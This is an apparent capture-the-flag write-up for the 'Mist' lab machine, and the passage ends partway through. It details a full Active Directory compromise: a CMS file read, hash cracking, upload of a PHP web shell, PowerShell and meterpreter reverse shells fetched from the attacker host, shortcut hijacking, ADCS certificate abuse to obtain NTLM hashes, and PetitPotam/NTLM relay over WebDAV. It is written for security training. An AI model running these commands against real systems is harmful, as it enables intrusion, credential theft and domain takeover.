Mist

8th November 2024 / Document No

D24.100.308

Prepared By: xRogue

Machine Author: Geiseric

Difficulty: Insane

Classification: Official

Synopsis
Mist is an Insane-difficulty machine that provides a comprehensive scenario for exploiting various
misconfigurations and vulnerabilities in an Active Directory (AD) environment. The machine has
multiple layers, starting with a public-facing CMS running on Apache with a path traversal
vulnerability, allowing us to retrieve a backup file containing hashed credentials. Cracking this hash
grants initial access as a low-privileged web user. Exploiting file-write permissions on a shared
directory further elevates our access by allowing a reverse shell connection as another domain
user. From there, enumeration reveals several AD misconfigurations, including LDAP signing
disabled, WebDAV exploitation, and misconfigurations in ADCS templates, each step designed to
escalate privileges through different AD entities. The final exploit involves creating shadow
credentials to acquire the machine account’s NTLM hash, enabling a DCSync attack to obtain the
Domain Administrator hash.

Skills Required
Advanced Linux and Windows enumeration techniques, including service enumeration and
path traversal

Active Directory exploitation and privilege escalation techniques (e.g., LDAP signing, NTLM
relay attacks)

In-depth understanding of Group Managed Service Accounts (gMSA) and ADCS

misconfigurations (e.g., ADCS ESC13 abuse)

Familiarity with Rubeus , BloodHound , PetitPotam , and shadow credentials exploitation

Hashcat for hash cracking and password recovery

 Tunnelling and pivoting techniques for working with Chisel and ProxyChains in complex
AD environments

Skills Learned
Advanced ADCS exploitation

LDAP and NTLM relay attacks

Abusing WebDAV

Kerberos S4U exploitation with shadow credentials

BloodHound and Certipy usage

Enumeration
Starting off with an nmap scan:

└─$ ports=$(nmap -p- --min-rate=1000 -T4 [Link] | grep '^[0-9]' | cut -d '/' -
f 1 | tr '\n' ',' | sed s/,$//)
└─$ nmap -p$ports -sC -sV [Link]

Starting Nmap 7.94SVN ( [Link] ) at 2024-11-01 11:29 WAT

Nmap scan report for [Link] ([Link])
Host is up (0.059s latency).

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-generator: pluck 4.7.18
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
| http-title: Mist - Mist
|_Requested resource was [Link]
| [Link]: 2 disallowed entries
|_/data/ /docs/

Port 80 is reported as open. From the output, we can see that it is an Apache 2.4.52 web server,
running on Windows . We also retrieve the CMS and its version, Pluck 4.7.18 .

Web Application
Searching for exploits for this version of Pluck , we came across CVE-2023-50564, which leverages
the CMS's module install function to achieve remote code execution. However, to exploit this
vulnerability, we need to be able to authenticate on the application first.

Continuing our research for vulnerabilities related to this specific Pluck version, we came across
this GitHub issue. The author describes the way the albums_getimage.php file handles the image
to be retrieved through the ?image parameter. It seems that the file passed to this parameter
does not undergo any verification on whether the file is an image or not, allowing reading the
content of arbitrary files. This issue, however, is limited only to the Albums path and onwards,
meaning that only files that are present in the Albums endpoint and its subfolders can be
exploited, rather than a traditional path traversal attack.

Following the same pattern as the PoC highlighted in the GitHub issue, we visit the
/data/settings/modules/albums/ endpoint to see if there are any interesting files that we could
use against the exploit.

The admin_backup.php file looks interesting. Using the albums_getimage.php endpoint, we can
pass admin_backup.php through the ?image parameter to read the contents of the PHP file.

└─$ curl [Link]

image=admin_backup.php
<?php
$ww =
'c81dde783f9543114ecd9fa14e8440a2a868bfe0bacdf14d29fce0605c09d5a2bcd2028d0d7a3fa8
05573d074faa15d6361f44aec9a6efe18b754b3c265ce81e';
?>146

The PHP file contains a long string that looks like a hash. Since the name of the file indicates that
the contents relate to an administrative setting, we could try to crack this hash with the hopes of
retrieving a password. Passing the hash through hash-identifier , we identify the hash to be in
the format SHA-512 .

└─$ hash-identifier

<SNIP>
--------------------------------------------------
HASH:
c81dde783f9543114ecd9fa14e8440a2a868bfe0bacdf14d29fce0605c09d5a2bcd2028d0d7a3fa80
5573d074faa15d6361f44aec9a6efe18b754b3c265ce81e

Possible Hashs:
[+] SHA-512

Using hashcat and the wordlist [Link] , we attempt to crack this hash and retrieve the
original value.
 └─$ hashcat -m 1700
'c81dde783f9543114ecd9fa14e8440a2a868bfe0bacdf14d29fce0605c09d5a2bcd2028d0d7a3fa8
05573d074faa15d6361f44aec9a6efe18b754b3c265ce81e'
/usr/share/wordlists/[Link]
hashcat (v6.2.6) starting

<SNIP>

c81dde783f9543114ecd9fa14e8440a2a868bfe0bacdf14d29fce0605c09d5a2bcd2028d0d7a3fa80
5573d074faa15d6361f44aec9a6efe18b754b3c265ce81e:lexypoo97

Session..........: hashcat
Status...........: Cracked
[Link]........: 1700 (SHA2-512)
[Link]......: c81dde783f9543114ecd9fa14e8440a2a868bfe0bacdf14d29f...5ce81e

<SNIP>

The cracking operation worked, and we identified the original value to be lexypoo97 .

Foothold as svc_web
Achieving code execution
If we visit /[Link] , we can see that Pluck only asks for a password in order to authenticate
against it. Providing the password we uncovered earlier, we gain access to the CMS's
administrative interface.

Now, we can go back to CVE-2023-50564 which we uncovered earlier, and achieve code execution
by abusing the install module functionality of the CMS.

First, we will create a PHP web shell with the following contents:

<?php system($_REQUEST['cmd']); ?>

Then we will create a zip file containing the PHP file inside a directory.

└─$ zip -r [Link] shell

adding: shell/ (stored 0%)
adding: shell/[Link] (stored 0%)
Then, through the Administrative interface, we will navigate to Options -> manage modules ->
Install a module... and upload our [Link] .

Now under /data/modules , we can find the folder shell which contains our web shell,
[Link] .

Gaining a reverse shell

In order to gain a reverse shell through our web shell, we will be using a PowerShell reverse shell
that we will upload on the machine, and execute it. The PowerShell script we will be using can be
found here.

After filling in the ip and port of our attacker machine inside the script, we perform the
following request through our web shell to trigger the payload.

[Link]
WebRequest%20-Uri%20[Link]
OutFile%20C:/Windows/Temp/shell.ps1;%20powershell%20-c%20C:/Windows/Temp/shell.ps1

└─$ nc -lvnp 4444

listening on [any] 4444 ...
connect to [[Link]] from (UNKNOWN) [[Link]] 49917
SHELL> whoami
ms01\svc_web
SHELL>
Shell as [Link]
Initial Enumeration
By running ipconfig , we can see that the machine has an IP of [Link] and that the
default gateway is set to [Link] , indicating that there may be more than one target in
the environment.

SHELL> ipconfig

Windows IP Configuration

Ethernet adapter Ethernet:

Connection-specific DNS Suffix . :

IPv4 Address. . . . . . . . . . . : [Link]
Subnet Mask . . . . . . . . . . . : [Link]
Default Gateway . . . . . . . . . : [Link]
SHELL>

Listing the C:\Users directory reveals that many users have home directories on this machine,
following a naming convention that is usually encountered in Active Directory environments.

SHELL> dir C:\Users

Directory: C:\Users

Mode LastWriteTime Length Name

---- ------------- ------ ----
d----- 11/4/2024 6:18 AM Administrator
d----- 2/20/2024 6:02 AM [Link]
d----- 11/4/2024 6:18 AM [Link]
d-r--- 2/20/2024 5:44 AM Public
d----- 2/20/2024 9:39 AM [Link]
d----- 11/4/2024 6:17 AM svc_web
SHELL>

The hostname of the machine, MS01 also indicates that AD is in place. Since svc_web is not part
of the domain (if one exists), we should try to find a way to gain access to one of the other
accounts that are interacting with this machine in order to move forward.

Obtaining the shell through a malicious .lnk file

While enumerating the machine as svc_web , we come across an uncommon folder in the C:\
directory called Common Applications .
 SHELL> dir
Directory: C:\Common Applications

Mode LastWriteTime Length Name

---- ------------- ------ ----
-a---- 5/8/2021 1:15 AM 1118 [Link]
-a---- 5/7/2021 3:14 PM 1175 [Link]
-a---- 5/7/2021 3:15 PM 1171 [Link]
SHELL>

We can also observe that we have write permissions on all files in this directory. The files that are
present in this directory are Windows Shortcuts . While researching for ways to abuse Windows
shortcuts, we came across this article which explains how we can override the executable that the
shortcut executes using PowerShell in detail.

Following the post, we chose [Link] to override with a PowerShell reverse shell script,
similar to the one we created before.

SHELL> $WScriptShell = New-Object -ComObject [Link]

SHELL> $Shortcut = $[Link]("C:\Common
Applications\[Link]")
SHELL> $[Link] =
"C:\Windows\System32\WindowsPowerShell\v1.0\[Link]"
SHELL> $[Link] = "Invoke-WebRequest -Uri
[Link] -OutFile C:\Windows\Temp\shell2.ps1;
C:\Windows\Temp\shell2.ps1"
SHELL> $[Link]()

After a while, we receive a shell in our listener as the user [Link] .

└─$ nc -lvnp 4445

listening on [any] 4445 ...
connect to [[Link]] from (UNKNOWN) [[Link]] 49967
SHELL> whoami
mist\[Link]
SHELL>

Enumeration of the Domain

Bloodhound
Now that we have access to a domain account, we can utilize Bloodhound to analyze the domain
and find possible attack vectors. First, we will upload SharpHound on the target and execute it.

SHELL> .\[Link] -c All

<SNIP>

SHELL> dir

Directory: C:\Users\Public\Documents
 Mode LastWriteTime Length Name
---- ------------- ------ ----

-a---- 11/5/2024 3:39 AM 12526 20241105033924_BloodHound.zip

-a---- 11/5/2024 3:34 AM 1046528 [Link]
-a---- 11/5/2024 3:39 AM 10376
[Link]

Then we will use Impacket's smbserver to start an SMB server on our host, to transfer the zip file
to our local system.

On local host

└─$ impacket-smbserver FILESHARE /var/machines/for_writeups -smb2support -

username test -password test
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Config file parsed

<SNIP>

On Target

SHELL> net use \\[Link]\FILESHARE /user:test test

The command completed successfully.

SHELL> copy 20241105033924_BloodHound.zip

\\[Link]\FILESHARE\20241105033924_BloodHound.zip

Since we own the user [Link] , we initially enumerate any possible objects over which
the user has control. During our enumeration, we discovered that the account is a member of the
Authenticated Users group, which has permission to enroll for certificates on the MIST-DC01-
CA Certificate Authority.
We also have a host that we haven't yet analyzed, which is the [Link] that was set as
the gateway for MS01 . To further analyze this host, we will create a tunnel between MS01 and our
host using chisel .

Getting a persistent shell

Before we do that, it would make our progress smoother if we could create a persistent shell and a
way to spawn multiple instances like we can through a C2. Windows Defender is enabled on the
target, so uploading a payload right away won't work. However, if we trace back to when we
uploaded our PHP web shell, Defender did not detect and neutralize it. That means, that there
may be an exclusion path added on Defender. This blog post provides a detailed walkthrough on
how we can enumerate exclusion paths for a low-privileged user. Running the PowerShell one-
liner from this blog post reveals that C:\xampp\htdocs is excluded from Defender.

SHELL> Get-WinEvent -LogName "Microsoft-Windows-Windows Defender/Operational" -

FilterXPath "*[System[(EventID=5007)]]" | Where-Object { $_.Message -like
"*Exclusions\Paths*" } | Select-Object -Property TimeCreated, Id, Message |
Format-List

TimeCreated : 2/25/2024 [Link] AM

Id : 5007
Message : Microsoft Defender Antivirus Configuration has changed. If this is
an unexpected event you should review
the settings as this may be the result of malware.
Old value:
New value: HKLM\SOFTWARE\Microsoft\Windows
Defender\Exclusions\Paths\C:\xampp\htdocs = 0x0

Now, we can create a meterpreter binary and upload it to C:\xampp\htdocs in order to execute
it and gain a meterpreter shell .

Generating the payload

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=[Link] LPORT=4446 -f

exe > [Link]

Setting up meterpreter listener

msfconsole

<SNIP>

[*] Starting persistent handler(s)...

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set LHOST [Link]
LHOST => [Link]
msf6 exploit(multi/handler) > set LPORT 4446
LPORT => 4446
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run
 [*] Started reverse TCP handler on [Link]:4446

Executing [Link] will provide us with a meterpreter shell .

[*] Meterpreter session 1 opened ([Link]:4446 -> [Link]:49975) at

2024-11-05 [Link] +0100

meterpreter > shell

Process 2376 created.
Channel 1 created.
Microsoft Windows [Version 10.0.20348.2340]
(c) Microsoft Corporation. All rights reserved.

C:\xampp\htdocs\files>whoami
whoami
mist\[Link]

Setting up SOCKS tunneling

Now we can proceed to upload chisel on the target and initiate a tunnel between MS01 and our
host.

On host

└─$ chisel server --reverse --port 9092

2024/11/05 [Link] server: Reverse tunnelling enabled
2024/11/05 [Link] server: Fingerprint
3BTeCXNsj0VThRbCOTSCZQCA0M24shsJ07tmNeqZmXE=
2024/11/05 [Link] server: Listening on [Link]

On the target

PS C:\xampp\htdocs\files> .\[Link] client [Link]:9092 R:socks

.\[Link] client [Link]:9092 R:socks
2024/11/05 [Link] client: Connecting to [Link]
2024/11/05 [Link] client: Connected (Latency 62.9205ms)
^Z
Background channel 2? [y/N] y
meterpreter >

Running netexec smb through ProxyChains reveals that the system with IP [Link] is
the domain controller of the environment.

└─$ proxychains4 -q netexec smb [Link]

SMB [Link] 445 DC01 [*] Windows 10.0 Build 20348
x64 (name:DC01) (domain:[Link]) (signing:True) (SMBv1:False)
Getting [Link] NTLM hash
To fully utilize the capabilities of our compromised user, we need a way to authenticate against the
services of the domain. As we saw earlier in Bloodhound , brandon is a member of the Domain
Users group which has permission to enroll for certificates. If a certificate template is found to
support Client Authentication , we can retrieve a certificate for brandon and use it to acquire
the NTLM Hash of the account, which will enable us to use most of our offensive tools with ease.

The reason we can achieve that is due to how the Kerberos protocol works. When a client sends
an AS-REQ using PKINIT as the authentication method, the request includes the client's
certificate . The KDC then verifies the certificate against the known templates and if the
certificate and the user are valid, it responds with the usual AS-REP containing the TGT that
proves the authentication of the client.

However, in the case of PKINIT authentication, the session key is encrypted with the
certificate's public key . The client can retrieve the session key by decrypting it with his private
key . Why is this important?

If the client initiates a U2U request to itself for example (using his own TGT as the additional
ticket), the TGS-REP response will contain the usual PAC that contains various information, along
with the NTLM hash that we are looking for. The PAC segment is encrypted with the client's
session key . Now it becomes pretty clear, that using this method, we can obtain the session key
by decrypting it with the private key we control, and then use the session key to decrypt the PAC
segment of the TGS-REP packet to retrieve the user's NTLM Hash .

The very first step to perform all of the above is to identify a template that can be used for client
authentication. We will be using [Link] in order to do so.

C:\xampp\htdocs\files>[Link] find /enrollable

<SNIP>

v1.1.0

[*] Action: Find certificate templates

[*] Using the search base
'CN=Configuration,DC=mist,DC=htb'
[*] Listing info about the Enterprise CA 'mist-DC01-CA'
Enterprise CA Name : mist-DC01-CA
DNS Hostname
: [Link]
FullName : [Link]\mist-DC01-CA

<SNIP>

[*] Available Certificates Templates :

CA Name : [Link]\mist-DC01-CA
Template Name : User
Schema Version : 1
Validity Period : 1 year
Renewal Period : 6 weeks
 msPKI-Certificate-Name-Flag : SUBJECT_ALT_REQUIRE_UPN,
SUBJECT_ALT_REQUIRE_EMAIL, SUBJECT_REQUIRE_EMAIL, SUBJECT_REQUIRE_DIRECTORY_PATH
mspki-enrollment-flag : INCLUDE_SYMMETRIC_ALGORITHMS,
PUBLISH_TO_DS, AUTO_ENROLLMENT
Authorized Signatures Required : 0
pkiextendedkeyusage : Client Authentication, Encrypting
File System, Secure Email
mspki-certificate-application-policy : <null>
Permissions
Enrollment Permissions
Enrollment Rights : MIST\Domain Admins S-1-5-21-
1045809509-3006658589-2426055941-512
MIST\Domain Users S-1-5-21-
1045809509-3006658589-2426055941-513

<SNIP>

We can see that the User template can be used for client authentication. We will then proceed to
generate a certificate and a private key using this template.

C:\xampp\htdocs\files>[Link] request /ca:DC01\mist-DC01-CA /template:User

<SNIP>

v1.1.0

[*] Action: Request a Certificates

[*] Current user context : MIST\[Link]
[*] No subject name specified, using current context as subject.
[*] Template : User
[*] Subject : CN=[Link], CN=Users, DC=mist, DC=htb
[*] Certificate Authority : DC01\mist-DC01-CA
[*] CA Response : The certificate had been issued.
[*] Request ID : 60
[*] [Link] :

-----BEGIN RSA PRIVATE KEY-----

MIIEowIBAAKCAQEAxS4ag6Pl9hbaM9WPXShOF2a8Pwh6SkxpY4mApxYja+BbTZN+
GPuhUNoH09Yps9gjhU2f9ZqRaOu343epExaxOqfUv0cfPW3ucLsuwJa3TOh6Zfb1
O70DlNnGW3IWVypkyd+/pNfQEr4LWyfShMVzL+s/3YcQHZhVKqSj0I/OUzUB8MfL
Z0CBe5KwBpEiYHX03+8/DvcuHZRZ3BK87vryGYJVPfNA/hu9TBdIRFC1v4wx7sV2
WAkYN6uXioNsTm7JSmulCe7bPJlcv+mYkv3zVmxfOWcrEq9CPC38ap3MbAoZMDAz

<SNIP>

-----BEGIN CERTIFICATE-----
MIIGDzCCBPegAwIBAgITIwAAADw92ZfudV0bMgAAAAAAPDANBgkqhkiG9w0BAQsF
ADBCMRMwEQYKCZImiZPyLGQBGRYDaHRiMRQwEgYKCZImiZPyLGQBGRYEbWlzdDEV
MBMGA1UEAxMMbWlzdC1EQzAxLUNBMB4XDTI0MTEwNjE0Mzk1MVoXDTI1MTEwNjE0
Mzk1MVowVTETMBEGCgmSJomT8ixkARkWA2h0YjEUMBIGCgmSJomT8ixkARkWBG1p
c3QxDjAMBgNVBAMTBVVzZXJzMRgwFgYDVQQDEw9CcmFuZG9uLktleXdhcnAwggEi
MA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDFLhqDo+X2Ftoz1Y9dKE4XZrw/
 CHpKTGljiYCnFiNr4FtNk34Y+6FQ2gfT1imz2COFTZ/1mpFo67fjd6kTFrE6p9S/
Rx89be5wuy7AlrdM6Hpl9vU7vQOU2cZbchZXKmTJ37+k19ASvgtbJ9KExXMv6z/d
hxAdmFUqpKPQj85TNQHwx8tnQIF7krAGkSJgdfTf7z8O9y4dlFncErzu+vIZglU9
80D+G71MF0hEULW/jDHuxXZYCRg3q5eKg2xObslKa6UJ7ts8mVy/6ZiS/fNWbF85
ZysSr0I8LfxqncxsChkwMDNBRa4j83cFmYLF25W4xv/lELgd3kN1t9OaurWhAgMB
AAGjggLpMIIC5TAXBgkrBgEEAYI3FAIECh4IAFUAcwBlAHIwKQYDVR0lBCIwIAYK
KwYBBAGCNwoDBAYIKwYBBQUHAwQGCCsGAQUFBwMCMA4GA1UdDwEB/wQEAwIFoDBE
BgkqhkiG9w0BCQ8ENzA1MA4GCCqGSIb3DQMCAgIAgDAOBggqhkiG9w0DBAICAIAw

<SNIP>

Now we copy both the certificate and the private key and save them in a file called [Link] .
Afterward, we will run the command instructed by [Link] to create the [Link] file. No
password is needed for the generation of the file.

└─$ openssl pkcs12 -in [Link] -keyex -CSP "Microsoft Enhanced Cryptographic
Provider v1.0" -export -out [Link]
Enter Export Password:
Verifying - Enter Export Password:

Now, we will use [Link] to perform the chain described above.

[Link] asktgt /user:[Link]

/certificat[Link]\xampp\htdocs\files\[Link] /getcredentials /show /nowrap

<SNIP>

v2.2.0

[*] Action: Ask TGT

[*] Using PKINIT with etype rc4_hmac and subject: CN=[Link], CN=Users,
DC=mist, DC=htb
[*] Building AS-REQ (w/ PKINIT preauth) for: '[Link]\[Link]'
[*] Using domain controller: [Link]:88
[+] TGT request successful!
[*] base64([Link]):

doIGGD<SNIP>htaXN0Lmh0Yg==

ServiceName : krbtgt/[Link]
ServiceRealm : [Link]
UserName : [Link]
UserRealm : [Link]
StartTime : 11/6/2024 [Link] AM
EndTime : 11/6/2024 [Link] PM
RenewTill : 11/13/2024 [Link] AM
Flags : name_canonicalize, pre_authent, initial,
renewable, forwardable
KeyType : rc4_hmac
Base64(key) : sTCMlQJTsYLZy2gYmXrvSw==
ASREP (key) : D08EDA9C8CFAB2F9A69A656A74EA6C51
 [*] Getting credentials using U2U

CredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData :
CredentialCount : 1
NTLM : DB03D6A77A2205BC1D07082740626CC9

We can see that Rubeus performed the steps we described. First it initiated an authentication
using PKINIT , received an AS-REP containing the TGT and the session key. Then it performed a
U2U request and decrypted the PAC using the session key, providing us with the user's NTLM
Hash . Using this hash we can perform various enumeration operations against the domain. First,
we will check if the hash is truly valid for the user by using netexec , this time authenticated.

└─$ proxychains4 -q netexec smb [Link] -u [Link] -H

DB03D6A77A2205BC1D07082740626CC9
SMB [Link] 445 DC01 [*] Windows Server 2022 Build
20348 x64 (name:DC01) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 DC01 [+]
[Link]\[Link]:DB03D6A77A2205BC1D07082740626CC9

Gaining Access as MS01$

LDAP signing and SMB signing
After acquiring the NTLM Hash of [Link], we can perform various common checks to
find exploitable domain configurations. One such configuration, is the Disabled LDAP Signing ,
which this particular domain seems to have.

└─$ proxychains -q netexec ldap [Link] -u [Link] -H

DB03D6A77A2205BC1D07082740626CC9 -M ldap-checker
SMB [Link] 445 DC01 [*] Windows Server 2022 Build
20348 x64 (name:DC01) (domain:[Link]) (signing:True) (SMBv1:False)
LDAP [Link] 389 DC01 [+]
[Link]\[Link]:DB03D6A77A2205BC1D07082740626CC9
LDAP-CHE... [Link] 389 DC01 LDAP Signing NOT Enforced!

With LDAP signing disabled, if we manage to coerce NTLM Authentication of an account to a

server we control, we will be able to relay those credentials to the domain controller and
authenticate with LDAP , since the domain controller will accept unsigned requests. If LDAP signing
was enabled, the request would be required to be encrypted with a valid session key before the
domain controller can accept it, something that we won't be able to do with any user other than
brandon which we already have.

The most common way to coerce NTLM authentication is utilizing the PetitPotam exploit. The
original version works by abusing the MS-EFSRPC API, initiating NTLM authentication over SMB
towards an attacker controlled endpoint. However, SMB signing is enabled on the domain
controller, so the attack won't work. We can verify that claim by the exploit and check the output
of our relaying tool. We will be using the python version of PetitPotam and impacket's ntlmrelayx.

First, we will initiate ntlmrelayx with smb2support over our tunnel, so that our host is visible to
the domain controller.

└─$ proxychains4 -q impacket-ntlmrelayx -debug -smb2support -t [Link]

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[+] Impacket Library Installation Path: /usr/lib/python3/dist-packages/impacket

[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMB loaded..
[+] Protocol Attack LDAP loaded..
[+] Protocol Attack LDAPS loaded..
[+] Protocol Attack MSSQL loaded..
[+] Protocol Attack DCSYNC loaded..
[+] Protocol Attack RPC loaded..
[+] Protocol Attack IMAP loaded..
[+] Protocol Attack IMAPS loaded..
[+] Protocol Attack HTTP loaded..
[+] Protocol Attack HTTPS loaded..
[+] Protocol Attack LDAP loaded..
[+] Protocol Attack LDAPS loaded..
[+] Protocol Attack SMB loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666
[*] Multirelay disabled

[*] Servers started, waiting for connections

Then we will run the petitpotam exploit providing our IP as the listener and using all pipes for
testing.

└─$ proxychains4 -q python [Link] -u [Link] -hashes

:DB03D6A77A2205BC1D07082740626CC9 -d [Link] [Link] [Link] -pipe
all

<SNIP>

Trying pipe efsr

 [-] Connecting to ncacn_np:[Link][\PIPE\efsrpc]

Something went wrong, check error status => SMB SessionError: code: 0xc0000034 -
STATUS_OBJECT_NAME_NOT_FOUND - The object name is not found.

Trying pipe lsarpc

[-] Connecting to ncacn_np:[Link][\PIPE\lsarpc]

[+] Connected!

[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e

[+] Successfully bound!

[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!

[+] OK! Using unpatched function!

[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!

[+] Attack worked!

Observing the output of ntlmrelayx:

[*] SMBD-Thread-5 (process_request_thread): Received connection from

[Link], attacking target smb://[Link]

[-] Signing is required, attack won't work unless using -remove-target / --

remove-mic

[-] Authenticating against smb://[Link] as MIST/DC01$ FAILED

We can see that the attack failed due to the fact that SMB Signing is enabled as suspected. For
refference, if we attempted to authenticate with the same way (with MIST/DC01$) against MS01,
the attack would be successful since MS01 does not have SMB signing enabled, but there is not
much we can do here since machine accounts cannot initiate interactive sessions on network
resources.

[*] SMBD-Thread-5 (process_request_thread): Received connection from

[Link], attacking target smb://[Link]
[*] Authenticating against smb://[Link] as MIST/DC01$ SUCCEED
[*] All targets processed!
The WebDAV exploit, and Shadow Credentials on
Machine Accounts
At this point, we swift our focus to MS01, which is a host we have compromised but we still don't
have privileged access to it. One way we can achieve administrative rights over MS01 is by
compromising the MS01$ machine account, since that will enable us to request a service ticket for
the administrator user on the CIFS service of MS01.

We know we cannot relay SMB based NTLM authentication over to the domain controller, since
SMB signing is enabled. But, MS01 is a windows server installation.

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

OS Name: Microsoft Windows Server 2022 Standard
OS Version: 10.0.20348 N/A Build 20348

Windows servers come with WebDAV pre-installed, since it is a feature of IIS . The WebDAV
protocol allows a client to connect to a WebDAV share like normal network shares. That means
that just like SMB , windows will use NTLM or Kerberos authentication when attempting to
connect to that share. This is the perfect candidate for us, since if we manage to coerce NTLM
authentication over HTTP (which is the protocol used by WebDAV) we essentially bypass the
restriction imposed by the enabled SMB signing, and we will be able to use that request to
authenticate on the domain controller through LDAP as the machine account MS01$ . After we
achieve that, we will have the option to add Shadow Credentials for MS01$, since according to
our bloodhound analysis, MS01$ is a member of the Domain Computers group, which can enroll
the MACHINE and COMPUTERAUTHENTICATION templates which are used for machine accounts to
authenticate themselves on the network.
After adding the shadow credentials for MS01$ , we can then perform an S4U chain in order to
impersonate the Administrator user on MS01, since machine accounts have the right to
impersonate any user on the local system. In order to retrieve the NTLM hash of the machine
account in order to perform the S4U chain, we will leverage the ADCS services like we did with
brandon. Again, we will not be able to actually log in on MS01 as MS01$ using NTLM auth, since
machine accounts are disallowed interactive logons and thats the reason we reside in performing
an S4U attack.

Performing the Attack

The very first step to achieve our goal is to enable the webclient service, which is needed in order
to perform a WebDAV request. [Link] can achieve that for us. We will compile it,
upload it on MS01 and run it.

On our local host

mcs [Link] /unsafe

On target

C:\xampp\htdocs>[Link]
[Link]
[+] WebClient Service started successfully

Now, we need to add a domain name that will resolve to our host in the DNS records. The reason
we need to do this, is explained in microsoft's documentation. "If the URL contains periods, the
server is assumed to be on the Internet. The periods indicate that you use a FQDN address.
Therefore, no credentials are automatically sent to this server unless a proxy is configured and
unless this server is indicated for proxy bypass."

Since an IP address contains periods, the server is assumed to be on the internet, thus prompting
for credentials even if we sent a valid NTLM auth request. That also means, that we can't use the
common domain name format like [Link] , since that also contains periods and will be
classified as internet. The domain name we need to add to the DNS records needs to be a single
word, like rogue .

Using [Link], we can attempt to add a DNS record using the brandon user.

└─$ proxychains -q [Link] -u [Link]\\[Link] -p

DB03D6A77A2205BC1D07082740626CC9 --tcp -dns-ip [Link] -a add -r rogue -d
[Link] DC01
[-] Connecting to host...
[-] Binding to host
[!] Could not bind with specified credentials
[!] {'result': 49, 'description': 'invalidCredentials', 'dn': '', 'message':
'8009030C: LdapErr: DSID-0C09080B, comment: AcceptSecurityContext error, data
52e, v4f7c\x00', 'referrals': None, 'saslCreds': None, 'type': 'bindResponse'}

That resulted in an error. Usually, domain users have the capability to add DNS records, but it
does not seem to be the case here, so we have to change our approach.

Since we cannot coerce the authentication to an external resource we control directly, we can
utilize an internal system we control: MS01. We can use a port on MS01, for example 9999 and
forward any traffic received on that port to port 80 on our local system. Then, we can run the
petitpotam exploit towards MS01@9999/whatever , resulting in the NTLM request being forwarded
to our host.

We will create the port forwarding rule using our chisel tunnel.

On target

C:\xampp\htdocs\files>[Link] client [Link]:9092 9999:[Link]:80

[Link] client [Link]:9092 9999:[Link]:80
2024/11/08 [Link] client: Connecting to [Link]
2024/11/08 [Link] client: tun: proxy#9999=>80: Listening
2024/11/08 [Link] client: Connected (Latency 47.061ms)
^Z
Background channel 5? [y/N] y
Before we run our ntlmrelay again, we will be using a fork of impacket that utilizes a way of
adding shadow credentials through the LDAP interactive shell, which will make this process much
easier.

We will clone the repository locally and run ntlmrelayx through a python venv . Then we will
move in the examples/ folder where [Link] resides, and start it through proxychains:

proxychains -q [Link] -debug -t ldaps://[Link] -i -smb2support -

domain [Link]

We are targeting the LDAPS protocol, and we specify the option -i to gain an interactive LDAP
Shell after the relaying operation is completed. Now we perform the PetitPotam exploit,
targeting MS01@9999 .

proxychains4 -q python [Link] -u [Link] -hashes

:DB03D6A77A2205BC1D07082740626CC9 -d [Link] 'MS01@9999/rogue' [Link] -
pipe all

In our ntlmrelay, we can see that the attack was successful and that we received an LDAP Shell
on port 11000 on our localhost.

[*] HTTPD(80): Connection from [Link] controlled, attacking target

ldaps://[Link]
[*] HTTPD(80): Authenticating against ldaps://[Link] as MIST/MS01$
SUCCEED
[*] Started interactive Ldap shell via TCP on [Link]:11000

Connecting via nc [Link] 11000 and running the command help, we can see that the
commands clear_shadow_creds and set_shadow_creds became available through this fork.

└─$ nc [Link] 11000

Type help for list of commands

# help

add_computer computer [password] [nospns] - Adds a new computer to the domain

with the specified password. If nospns is specified, computer will be created
with only a single necessary HOST SPN. Requires LDAPS.
rename_computer current_name new_name - Sets the SAMAccountName attribute on a
computer object to a new value.
add_user new_user [parent] - Creates a new user.
add_user_to_group user group - Adds a user to a group.
change_password user [password] - Attempt to change a given user's password.
Requires LDAPS.
clear_rbcd target - Clear the resource based constrained delegation
configuration information.
clear_shadow_creds target - Clear shadow credentials on the target
(sAMAccountName).
disable_account user - Disable the user's account.
enable_account user - Enable the user's account.
dump - Dumps the domain.
search query [attributes,] - Search users and groups by name, distinguishedName
and sAMAccountName.
 get_user_groups user - Retrieves all groups this user is a member of.
get_group_users group - Retrieves all members of a group.
get_laps_password computer - Retrieves the LAPS passwords associated with a
given computer (sAMAccountName).
grant_control target grantee - Grant full control of a given target object
(sAMAccountName) to the grantee (sAMAccountName).
set_dontreqpreauth user true/false - Set the don't require pre-authentication
flag to true or false.
set_rbcd target grantee - Grant the grantee (sAMAccountName) the ability to
perform RBCD to the target (sAMAccountName).
set_shadow_creds target - Set shadow credentials on the target object
(sAMAccountName).
start_tls - Send a StartTLS command to upgrade from LDAP to LDAPS. Use this to
bypass channel binding for operations necessitating an encrypted channel.
